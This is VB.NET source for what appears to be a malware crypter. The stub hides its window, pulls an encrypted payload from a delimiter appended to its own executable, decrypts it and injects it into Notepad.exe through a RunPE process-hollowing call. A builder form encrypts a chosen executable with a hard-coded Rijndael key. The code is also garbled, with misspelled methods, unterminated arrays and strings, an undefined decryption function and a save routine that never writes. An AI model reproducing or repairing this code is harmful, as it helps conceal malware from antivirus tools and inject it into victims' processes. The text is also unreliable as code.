Public Form1
Const dyqD = "@DarkSeven46@"
Dim ofd as New OpenFileDialog
Dim sfd as New SaveFileDialog
Private Sub Form_Load(ByVal sender As System.Object, ByVal e as System.EventArgs) Handles Mybase.LoaD
Me.Visible = False
Dim darkseven46() as string = Split(IO.File.ReadAllText(Application.ExecutablePath), dyqD)
Dim File1 as Byte() = Unsecure(Convert.FromBase64string(darkseven46(1)))
System.text.encoding.GetEncoding(1252).GetGytes(darkseven45(1))
Dim Process As String = "C:\Windows\Notepad.exe"
Runpe.Inject(file1,process)
End Sub
Private Sub Button1_Click(ByVal sender as System.Object, ByVal e as System.EventArgs) Handles Button1.Click
With ofd
ofd.DefaultExt = "exe:
ofd.Filter = "Executable Files (*.Exe)|*.Exe"
ofd.Filterbox = 1
ofd.Filtername = ""
If ofd.ShowDialog(Me) = 1 then
Textbox1Text = ofd.FileName
End IF
End With
End Sub
Function Secure (Byval data as Byte)
Using Sa as New System.Security.Cryptography.RijandaelManaged
Sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7,
Sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1,
Return Sa.CreateEncryptor.TransformFinalBlock(data, 0, data.Lenth)
End Using
End Function
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e as System EventArgs) Handles Button 2.Click
sfd.DefaultExt = "exe"
sfd.Filter = "Executable Files {*.Exe|*.Exe"
If sfd.ShowDialog = Windows.Forms.DialogResults.Ok Then
End IF
Dim File1 as Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
If My.Computer.Filesystem.FileExists(sfd.Filename) Then
My.Computer.FileSystem.DeleteFile(sfd.FileName)
End IF
End Sub
End Class